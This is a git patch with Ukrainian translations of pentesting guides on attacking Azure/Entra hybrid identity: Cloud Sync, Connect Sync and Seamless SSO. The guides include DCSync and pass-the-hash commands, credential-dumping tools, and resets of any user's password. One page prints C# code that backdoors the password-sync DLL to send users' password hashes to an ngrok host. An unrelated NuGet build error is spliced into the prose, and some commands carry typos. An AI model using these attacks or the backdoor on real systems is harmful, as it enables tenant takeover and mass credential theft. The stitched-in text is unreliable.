From 3d0d5104a3d3b1d8824b7b71c905990fd82199c2 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 23 Jul 2025 22:10:33 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- .../az-cloud-sync.md | 151 +++++++++++++ .../az-connect-sync.md | 202 ++++++++++++++++++ .../seamless-sso.md | 164 ++++++++++---- 3 files changed, 476 insertions(+), 41 deletions(-) create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md new file mode 100644 index 000000000..abb267abf --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md @@ -0,0 +1,151 @@ +# Az - Cloud Sync + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basic Information + +**Cloud Sync** - це новий спосіб Azure для **синхронізації користувачів з AD в Entra ID**. + +[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync. + +### Principals Generated + +Для того, щоб це працювало, деякі принципи створюються як в Entra ID, так і в локальному каталозі: + +- В Entra ID створюється користувач `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) з роллю **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). + +> [!WARNING] +> Ця роль раніше мала багато привілейованих дозволів, і її можна було використовувати для [**ескалації привілеїв навіть до глобального адміністратора**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Однак Microsoft вирішила видалити всі привілеї цієї ролі та призначити лише нову **`microsoft.directory/onPremisesSynchronization/standard/read`**, яка насправді не дозволяє виконувати жодні привілейовані дії (такі як зміна пароля або атрибутів користувача або додавання нових облікових даних до SP). + +- В Entra ID також створюється група **`AAD DC Administrators`** без учасників або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md). + +- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний. + +> [!WARNING] +> Серед інших дозволів обліковий запис служби **`provAgentgMSA`** має дозволи DCSync, що дозволяє **будь-кому, хто його скомпрометує, скомпрометувати весь каталог**. Для отримання додаткової інформації про [DCSync перегляньте це](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). + +> [!NOTE] +> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**. + +## Password Sychronization + +Цей розділ дуже схожий на той, що з: + +{{#ref}} +az-connect-sync.md +{{#endref}} + +- **Синхронізація хешів паролів** може бути увімкнена, щоб користувачі могли **увійти в Entra ID, використовуючи свої паролі з AD**. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID. +- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому зверніть увагу на [розділ Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації. +- **Запис груп**: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувач додається до групи в Entra ID, він також буде доданий до відповідної групи в AD. + +## Pivoting + +### AD --> Entra ID + +- Якщо користувачі AD синхронізуються з AD в Entra ID, перемикання з AD на Entra ID є простим, просто **скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки він не буде синхронізований в каталог Entra ID (зазвичай лише кілька хвилин)**. + +Отже, ви могли б, наприклад: +- Скомпрометувати обліковий запис **`provAgentgMSA`**, виконати атаку DCSync, зламати пароль деякого користувача, а потім використовувати його для входу в Entra ID. +- Просто створити нового користувача в AD, почекати, поки він не буде синхронізований в Entra ID, а потім використовувати його для входу в Entra ID. +- Змінити пароль деякого користувача в AD, почекати, поки він не буде синхронізований в Entra ID, а потім використовувати його для входу в Entra ID. + +Щоб скомпрометувати облікові дані **`provAgentgMSA`**: +```powershell +# Enumerate provAgentgMSA account +Get-ADServiceAccount -Filter * -Server domain.local +# Find who can read the password of the gMSA (usually only the DC computer account) +Get-ADServiceAccount -Identity pGMSA_$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword + +# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz: +lsadump::dcsync /domain:domain.local /user:$ +sekurlsa::pth /user:$ /domain:domain.local /ntlm: /run:"cmd.exe" + +# Or you can change who can read the password of the gMSA account to all domain admins for example: +Set-ADServiceAccount -Identity 'pGMSA_$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins' + +# Read the password of the gMSA +$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword' + +#Install-Module -Name DSInternals +#Import-Module DSInternals +$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob +ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword +``` +Тепер ви можете використовувати хеш gMSA для виконання атаки Pass-the-Hash проти Entra ID, використовуючи обліковий запис `provAgentgMSA` і підтримувати постійність, маючи можливість виконувати атаки DCSync проти AD. + +Для отримання додаткової інформації про те, як скомпрометувати Active Directory, перегляньте: + +{{#ref}} +https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html +{{#endref}} + +> [!NOTE] +> Зверніть увагу, що немає жодного способу надати ролі Azure або EntraID синхронізованим користувачам на основі їх атрибутів, наприклад, у конфігураціях Cloud Sync. Однак, щоб автоматично надати дозволи синхронізованим користувачам, деякі **групи Entra ID з AD** можуть отримати дозволи, щоб синхронізовані користувачі в цих групах також їх отримали, або **можуть бути використані динамічні групи**, тому завжди перевіряйте динамічні правила та потенційні способи їх зловживання: + +{{#ref}} +../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +{{#endref}} + +Щодо постійності [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів): +```csharp +using System; +using System.Net; +using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices; + +namespace Microsoft.Online.PasswordSynchronization +{ +// Token: 0x0200003E RID: 62 +public class PasswordHashGenerator : ClearPasswordHashGenerator +{ +// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC +public override PasswordHashData CreatePasswordHash(ChangeObject changeObject) +{ +PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject); +try +{ +using (WebClient webClient = new WebClient()) +{ +webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash); +} +} +catch (Exception) +{ +} +return new PasswordHashData +{ +Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash), +RawHash = passwordHashData.RawHash +}; +} +} +} +``` +NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. +C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'. +. Please see Error List window for detailed warnings and errors. + +### Entra ID --> AD + +- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync section](./az-connect-sync.md), оскільки відновлення паролів налаштовується за допомогою цього агента. + +- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): + +> - Ці групи можуть містити лише синхронізованих користувачів з локальних систем і/або додаткові групи безпеки, створені в хмарі. +> - Локальні облікові записи користувачів, які синхронізовані і є членами цієї групи безпеки, створеної в хмарі, можуть бути з одного домену або міждоменними, але всі вони повинні бути з одного лісу. + +Отже, поверхня атаки (і корисність) цього сервісу значно зменшена, оскільки зловмисник повинен зламати початковий AD, з якого синхронізуються користувачі, щоб зламати користувача в іншому домені (і обидва, очевидно, повинні бути в одному лісі). + +### Enumeration +```bash +# Check for the gMSA SA +Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'" + +# Get all the configured cloud sync agents (usually one per on-premise domain) +## In the machine name of each you can infer the name of the domain +az rest \ +--method GET \ +--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \ +--headers "Content-Type=application/json" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md new file mode 100644 index 000000000..752d82e5a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md @@ -0,0 +1,202 @@ +# Az - Connect Sync + +{{#include ../../../../banners/hacktricks-training.md}} + +## Основна інформація + +[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) є основним компонентом Microsoft Entra Connect. Він відповідає за всі операції, пов'язані з синхронізацією даних про ідентичність між вашим локальним середовищем і Microsoft Entra ID. + +Щоб його використовувати, потрібно встановити агент **`Microsoft Entra Connect Sync`** на сервері в вашому середовищі AD. Цей агент буде відповідати за синхронізацію з боку AD. + +
+ +**Connect Sync** - це, по суті, "старий" спосіб Azure для **синхронізації користувачів з AD в Entra ID.** Новий рекомендований спосіб - використовувати **Entra Cloud Sync**: + +{{#ref}} +az-cloud-sync.md +{{#endref}} + +### Згенеровані принципали + +- Обліковий запис **`MSOL_`** автоматично створюється в локальному AD. Цей обліковий запис отримує роль **Directory Synchronization Accounts** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**. +- Це означає, що будь-хто, хто скомпрометує цей обліковий запис, зможе скомпрометувати локальний домен. +- У локальному AD створюється керований обліковий запис служби **`ADSyncMSA`** без будь-яких спеціальних привілеїв за замовчуванням. +- У Entra ID створюється обліковий принципал **`ConnectSyncProvisioning_ConnectSync_`** з сертифікатом. + +## Синхронізація паролів + +### Синхронізація хешів паролів + +Цей компонент також може бути використаний для **синхронізації паролів з AD в Entra ID**, щоб користувачі могли використовувати свої паролі AD для підключення до Entra ID. Для цього потрібно дозволити синхронізацію хешів паролів в агенті Microsoft Entra Connect Sync, встановленому на сервері AD. + +[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Синхронізація хешів паролів** є одним з методів входу, що використовується для досягнення гібридної ідентичності. **Azure AD Connect** синхронізує хеш, хешу, пароля користувача з локальної інстанції Active Directory до хмарної інстанції Azure AD. + +По суті, всі **користувачі** та **хеш паролів** синхронізуються з локального AD в Azure AD. Однак **паролі у відкритому тексті** або **оригінальні** **хеші** не надсилаються в Azure AD. + +**Синхронізація хешів** відбувається кожні **2 хвилини**. Однак за замовчуванням **терміни дії паролів** та **терміни дії облікових записів** **не синхронізуються** в Azure AD. Тому користувач, чий **локальний пароль прострочений** (не змінений), може продовжувати **доступ до ресурсів Azure** за допомогою старого пароля. + +Коли локальний користувач хоче отримати доступ до ресурсу Azure, **автентифікація відбувається в Azure AD**. + +> [!NOTE] +> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**. + +### Запис паролів + +Ця конфігурація дозволяє **синхронізувати паролі з Entra ID в AD**, коли користувач змінює свій пароль в Entra ID. Зверніть увагу, що для роботи запису паролів обліковому запису `MSOL_`, автоматично створеному в AD, потрібно надати [більше привілеїв, як зазначено в документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), щоб він міг **змінювати паролі будь-якого користувача в AD**. + +Це особливо цікаво для компрометації AD з скомпрометованого Entra ID, оскільки ви зможете змінити пароль "майже" будь-якого користувача. + +Адміністратори домену та інші користувачі, що належать до деяких привілейованих груп, не реплікуються, якщо група має атрибут **`adminCount` до 1**. Але інші користувачі, яким були надані високі привілеї в AD, не належачи до жодної з цих груп, можуть змінити свій пароль. Наприклад: + +- Користувачі, яким були надані високі привілеї безпосередньо. +- Користувачі з групи **`DNSAdmins`**. +- Користувачі з групи **`Group Policy Creator Owners`**, які створили GPO та призначили їх OUs, зможуть змінювати GPO, які вони створили. +- Користувачі з групи **`Cert Publishers Group`**, які можуть публікувати сертифікати в Active Directory. +- Користувачі будь-якої іншої групи з високими привілеями без атрибута **`adminCount` до 1**. + +## Півтування AD --> Entra ID + +### Перерахунок Connect Sync + +Перевірте користувачів: +```bash +# Check for the users created by the Connect Sync +Install-WindowsFeature RSAT-AD-PowerShell +Import-Module ActiveDirectory +Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl +Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl +Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl + +# Check it using raw LDAP queries without needing an external module +$searcher = New-Object System.DirectoryServices.DirectorySearcher +$searcher.Filter = "(samAccountName=MSOL_*)" +$searcher.FindAll() +$searcher.Filter = "(samAccountName=ADSyncMSA*)" +$searcher.FindAll() +$searcher.Filter = "(samAccountName=Sync_*)" +$searcher.FindAll() +``` +Перевірте **конфігурацію Connect Sync** (якщо є): +```bash +az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" +# Check if password sychronization is enabled, if password and group writeback are enabled... +``` +### Знаходження паролів + +Паролі користувача **`MSOL_*`** (та користувача **Sync\_\***, якщо він створений) **зберігаються в SQL сервері** на сервері, де **встановлено Entra ID Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому вигляді.\ +База даних розташована за адресою `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. + +Можна витягти конфігурацію з однієї з таблиць, одна з яких зашифрована: + +`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` + +**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Отже, компрометуючи їх, можна отримати привілейований доступ до AD та AzureAD. + +Ви можете знайти [повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді](https://www.youtube.com/watch?v=JEIR5oGCwdg). + +### Зловживання MSOL\_\* +```bash +# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module +Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version +Import-Module AADInternals +Get-AADIntSyncCredentials +# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main + +# Using https://github.com/dirkjanm/adconnectdump +python .\adconnectdump.py [domain.local]/administrator:@192.168.10.80 +.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt +python .\adconnectdump.py [domain.local]/administrator:@192.168.10.80 --existing-db --from-file out.txt + +# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD +runas /netonly /user:defeng.corp\MSOL_123123123123 cmd +Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' +``` +> [!WARNING] +> Попередні атаки скомпрометували інший пароль, щоб підключитися до користувача Entra ID з ім'ям `Sync_*`, а потім скомпрометувати Entra ID. Однак цей користувач більше не існує. + +### Зловживання ConnectSyncProvisioning_ConnectSync\_ + +Цей додаток створено без призначення будь-яких ролей управління Entra ID або Azure. Однак він має такі API дозволи: + +- Microsoft Entra AD Synchronization Service +- `ADSynchronization.ReadWrite.All` +- Microsoft служба скидання паролів +- `PasswordWriteback.OffboardClient.All` +- `PasswordWriteback.RefreshClient.All` +- `PasswordWriteback.RegisterClientVersion.All` + +Зазначено, що SP цього додатка все ще можна використовувати для виконання деяких привілейованих дій за допомогою не задокументованого API, але, наскільки мені відомо, жодного PoC ще не знайдено.\ +У будь-якому випадку, вважаючи, що це може бути можливим, було б цікаво далі дослідити, як знайти сертифікат для входу як цей сервісний принципал і спробувати зловживати ним. + +Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання `Sync_*` користувача на цей сервісний принципал, пояснив, що сертифікат зберігався всередині сервера, і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP. + +Для виконання цих дій опубліковані наступні інструменти: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). + +На мою думку, сертифікат більше не зберігається в тому місці, де попередній інструмент його шукав, і тому інструмент більше не працює. Тому може знадобитися подальше дослідження. + +### Зловживання Sync\_\* [DEPRECATED] + +> [!WARNING] +> Раніше в Entra ID був створений користувач з ім'ям `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_`**. Однак він все ще може бути присутнім у деяких середовищах, тому варто перевірити його наявність. + +Скомпрометувавши обліковий запис **`Sync_*`**, можна **скинути пароль** будь-якого користувача (включаючи глобальних адміністраторів). +```bash +Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version +Import-Module AADInternals + +# This command, run previously, will give us alse the creds of this account +Get-AADIntSyncCredentials + +# Get access token for Sync_* account +$passwd = ConvertTo-SecureString '' -AsPlainText - Force +$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd) +Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache + +# Get global admins +Get-AADIntGlobalAdmins + +# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID) +Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId + +# Reset the users password +Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose + +# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) +``` +Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це неочікувано) +```bash +# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID +# The CloudAnchor is of the format USER_ObjectID. +Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID + +# Reset password +Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers +``` +Також можливо скинути пароль цього користувача. + +> [!CAUTION] +> Інший варіант - це **призначити привілейовані дозволи службі**, що **Sync** користувач має **дозволи** на це, а потім **отримати доступ до цієї служби** як спосіб підвищення привілеїв. + +### Безшовний SSO + +Можливо використовувати безшовний SSO з PHS, який вразливий до інших зловживань. Перевірте це в: + +{{#ref}} +seamless-sso.md +{{#endref}} + +## Пивотування Entra ID --> AD + +- Якщо увімкнено запис паролів, ви можете **змінити пароль будь-якого користувача в AD**, який синхронізується з Entra ID. +- Якщо увімкнено запис груп, ви можете **додати користувачів до привілейованих груп** в Entra ID, які синхронізуються з AD. + +## Посилання + +- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) +- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf) +- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) +- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/) +- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index a9e9ab202..04f280370 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -10,17 +10,66 @@ В основному Azure AD Seamless SSO **авторизує користувачів**, коли вони **на ПК, приєднаному до локального домену**. -Цю функцію підтримують як [**PHS (Синхронізація хешів паролів)**](phs-password-hash-sync.md), так і [**PTA (Аутентифікація через проксі)**](pta-pass-through-authentication.md). +Цю функцію підтримують як [**PHS (Синхронізація хешу пароля)**](phs-password-hash-sync.md), так і [**PTA (Аутентифікація через проксі)**](pta-pass-through-authentication.md). -Desktop SSO використовує **Kerberos** для аутентифікації. Коли налаштовано, Azure AD Connect створює **обліковий запис комп'ютера під назвою AZUREADSSOACC`$`** в локальному AD. Пароль облікового запису `AZUREADSSOACC$` **надсилається у відкритому вигляді до Azure AD** під час налаштування. +Desktop SSO використовує **Kerberos** для аутентифікації. Коли налаштовано, Azure AD Connect створює **обліковий запис комп'ютера під назвою `AZUREADSSOACC$`** в локальному AD. Пароль облікового запису `AZUREADSSOACC$` **надсилається у відкритому тексті до Entra ID** під час налаштування. -**Квитки Kerberos** **шифруються** за допомогою **NTHash (MD4)** пароля, а Azure AD використовує надісланий пароль для розшифровки квитків. +**Квитки Kerberos** **шифруються** за допомогою **NTHash (MD4)** пароля, а Entra ID використовує надісланий пароль для розшифровки квитків. -**Azure AD** відкриває **кінцеву точку** (https://autologon.microsoftazuread-sso.com), яка приймає **квитки** Kerberos. Браузер комп'ютера, приєднаного до домену, пересилає квитки на цю кінцеву точку для SSO. +**Entra ID** надає **кінцеву точку** (https://autologon.microsoftazuread-sso.com), яка приймає **квитки** Kerberos. Браузер машини, приєднаної до домену, пересилає квитки на цю кінцеву точку для SSO. -### Локальний -> хмара +### Перерахування +```bash +# Check if the SSO is enabled in the tenant +Import-Module AADInternals +Invoke-AADIntReconAsOutsider -Domain | Format-Table -**Пароль** користувача **`AZUREADSSOACC$` ніколи не змінюється**. Тому доменний адміністратор може скомпрометувати **хеш цього облікового запису**, а потім використовувати його для **створення срібних квитків** для підключення до Azure з **будь-яким синхронізованим локальним користувачем**: +# Check if the AZUREADSSOACC$ account exists in the domain +Install-WindowsFeature RSAT-AD-PowerShell +Import-Module ActiveDirectory +Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" + +# Check it using raw LDAP queries without needing an external module +$searcher = New-Object System.DirectoryServices.DirectorySearcher +$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" +$searcher.FindOne() +``` +## Pivoting: On-prem -> cloud + +> [!WARNING] +> Головне, що потрібно знати про цю атаку, це те, що наявність TGT або конкретного TGS користувача, синхронізованого з Entra ID, достатньо для доступу до хмарних ресурсів.\ +> Це пов'язано з тим, що це квиток, який дозволяє користувачу увійти в хмару. + +Щоб отримати цей TGS квиток, атакуючий повинен мати один з наступних елементів: +- **TGS скомпрометованого користувача:** Якщо ви скомпрометуєте сесію користувача з квитком до `HTTP/autologon.microsoftazuread-sso.com` в пам'яті, ви можете використовувати його для доступу до хмарних ресурсів. +- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати один, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Хеш або пароль скомпрометованого користувача:** SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT, а потім TGS. +- **Золотий квиток:** Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача. +- **Хеш або пароль облікового запису AZUREADSSOACC$:** З цією інформацією та ідентифікатором безпеки (SID) користувача можливо створити сервісний квиток і аутентифікуватися в хмарі (як це виконано в попередньому методі). + +### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) + +Як [пояснено в цьому блозі](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), наявність будь-якої з попередніх вимог дуже спрощує використання інструменту **SeamlessPass** для доступу до хмарних ресурсів як скомпрометований користувач або як будь-який користувач, якщо у вас є хеш або пароль облікового запису **`AZUREADSSOACC$`**. + +Нарешті, з TGT можливо використовувати інструмент [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) з: +```bash +# Using the TGT to access the cloud +seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt +# Using the TGS to access the cloud +seamlesspass -tenant corp.com -tgs user_tgs.ccache +# Using the victims account hash or password to access the cloud +seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF +seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password +# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID +seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 +seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 +wmic useraccount get name,sid # Get the user SIDs +``` +Додаткова інформація про налаштування Firefox для роботи з seamless SSO може бути [**знайдена в цьому блозі**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). + +### Отримання хешів облікового запису AZUREADSSOACC$ + +**Пароль** користувача **`AZUREADSSOACC$` ніколи не змінюється**. Тому адміністратор домену може скомпрометувати **хеш цього облікового запису**, а потім використовувати його для **створення срібних квитків** для підключення до Azure з **будь-яким синхронізованим локальним користувачем**: ```bash # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' @@ -38,14 +87,20 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` 